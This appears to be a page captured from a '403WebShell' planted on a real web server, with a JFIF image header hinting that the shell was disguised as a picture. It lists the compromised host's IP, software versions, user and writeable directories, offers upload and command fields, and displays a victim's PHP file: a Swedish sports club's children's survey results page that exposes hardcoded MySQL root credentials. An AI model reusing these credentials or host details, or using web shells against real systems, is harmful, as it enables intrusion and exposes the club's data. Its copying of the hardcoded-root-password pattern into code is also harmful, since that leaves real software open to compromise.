????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 216.73.216.25
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/root/var/www/appsrv.astacus.se/maif/folkhalsan/results/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/var/www/appsrv.astacus.se/maif/folkhalsan/results/index_AU_old.php
<?php
$servername = "localhost";  // Ändra vid behov
$username = "root";         // Din MySQL-användare
$password = "root123";      // Lösenord för MySQL
$dbname = "Maif";           // Namn på databasen

// Skapa anslutning till MySQL
$conn = new mysqli($servername, $username, $password, $dbname);

// Kontrollera anslutningen
if ($conn->connect_error) {
    die("Anslutningen misslyckades: " . $conn->connect_error);
}

// Hämta alla svar från databasen grupperade efter lag
$sql = "SELECT * FROM MaifFormularA ORDER BY team";

$result = $conn->query($sql);

// Funktion för att konvertera sifferbetyg till text
function getRatingText($value) {
    switch ($value) {
        case 4: return "Jättebra";
        case 3: return "OK";
        case 2: return "Inte helt OK";
        case 1: return "Dåligt";
        default: return "N/A"; // Om värdet är ogiltigt eller saknas
    }
}

// Funktion för att beräkna medelvärde
function calculateAverage($values) {
    return count($values) > 0 ? round(array_sum($values) / count($values), 2) : 0;
}

// Kontrollera om det finns resultat
if ($result->num_rows > 0) {
    $currentTeam = "";
    $ratings = [];
    
    echo "<meta charset='UTF-8'><style>
        table {
            border-collapse: collapse;
            width: 100%;
            margin-bottom: 30px;
        }
        th, td {
            padding: 8px;
            text-align: left;
            border: 1px solid #ddd;
        }
        th {
            background-color: #f2f2f2;
        }
        tr:hover {
            background-color: #f1f1f1;
        }
    </style>";
    
    // Skriv ut varje rad i tabellen
    while($row = $result->fetch_assoc()) {
        // Starta en ny tabell för varje lag
        if ($currentTeam !== $row['team']) {
            // Om det finns ett tidigare lag, visa medelvärden och avsluta tabellen
            if ($currentTeam !== "") {
                echo "<tr style='font-weight: bold;'>
                       ";
                foreach ($ratings as $key => $values) {
                    echo "<td>" . calculateAverage($values) . "</td>";
                }
                echo "<td></td></tr></table>";
            }

            // Återställ betyg och sätt det nya laget
            $currentTeam = $row['team'];
            $ratings = [
                'training_feeling' => [],
                'at_training_feeling' => [],
                'competition_feeling' => [],
                'learn_new_things' => [],
                'fun_exercises' => [],
                'feel_safe_with_coach' => [],
                'speak_freely_to_coach' => [],
                'coach_listens' => [],
                'coach_knowledge' => [],
                'coach_explains' => [],
                'coach_help' => [],
                'coach_praise' => [],
                'coach_encourage' => [],
                'friends_at_training' => [],
                'feel_safe_in_group' => [],
                'speak_freely_in_group' => [],
                'friends_listen' => [],
                'group_is_nice' => []
            ];

            echo "<h2>Lag: " . htmlspecialchars($currentTeam) . "</h2>";
            echo "<table>
                    <tr>
                        <th>Hur mår du?</th>
                        <th>Stämningen i laget</th>
                        <th>Träningsupplägget</th>
                        <th>Lär sig nya saker</th>
                        <th>Roliga övningar</th>
                        <th>Trygg med ledare</th>
                        <th>Vågar prata med ledare</th>
                        <th>Ledarna lyssnar</th>
                        <th>Ledarnas kunskap</th>
                        <th>Ledarna förklarar</th>
                        <th>Får hjälp av ledare</th>
                        <th>Ledarna ger beröm</th>
                        <th>Ledarna uppmuntrar</th>
                        <th>Vänner på träningen</th>
                        <th>Trygg i gruppen</th>
                        <th>Vågar prata i gruppen</th>
                        <th>Vänner lyssnar</th>
                        <th>Alla är trevliga</th>
                        <th>Kommentarer</th>
                    </tr>";
        }

        // Samla in betyg för medelvärdesberäkning
        foreach ($ratings as $key => &$values) {
            if (isset($row[$key]) && is_numeric($row[$key])) {
                $values[] = $row[$key];
            }
        }

        // Visa svaren
        echo "<tr>
                <td>" . getRatingText($row['training_feeling']) . "</td>
                <td>" . getRatingText($row['at_training_feeling']) . "</td>
                <td>" . getRatingText($row['competition_feeling']) . "</td>
                <td>" . getRatingText($row['learn_new_things']) . "</td>
                <td>" . getRatingText($row['fun_exercises']) . "</td>
                <td>" . getRatingText($row['feel_safe_with_coach']) . "</td>
                <td>" . getRatingText($row['speak_freely_to_coach']) . "</td>
                <td>" . getRatingText($row['coach_listens']) . "</td>
                <td>" . getRatingText($row['coach_knowledge']) . "</td>
                <td>" . getRatingText($row['coach_explains']) . "</td>
                <td>" . getRatingText($row['coach_help']) . "</td>
                <td>" . getRatingText($row['coach_praise']) . "</td>
                <td>" . getRatingText($row['coach_encourage']) . "</td>
                <td>" . getRatingText($row['friends_at_training']) . "</td>
                <td>" . getRatingText($row['feel_safe_in_group']) . "</td>
                <td>" . getRatingText($row['speak_freely_in_group']) . "</td>
                <td>" . getRatingText($row['friends_listen']) . "</td>
                <td>" . getRatingText($row['group_is_nice']) . "</td>
                <td>" . htmlspecialchars($row['comments']) . "</td>
              </tr>";
    }

    // Visa sista lagets medelvärden och avsluta tabellen
    echo "<tr style='font-weight: bold;'>
           ";
    foreach ($ratings as $key => $values) {
        echo "<td>" . calculateAverage($values) . "</td>";
    }
    echo "<td></td></tr></table>";
} else {
    echo "Inga svar har registrerats ännu.";
}

// Stäng anslutningen
$conn->close();
?>

Youez - 2016 - github.com/yon3zu
LinuXploit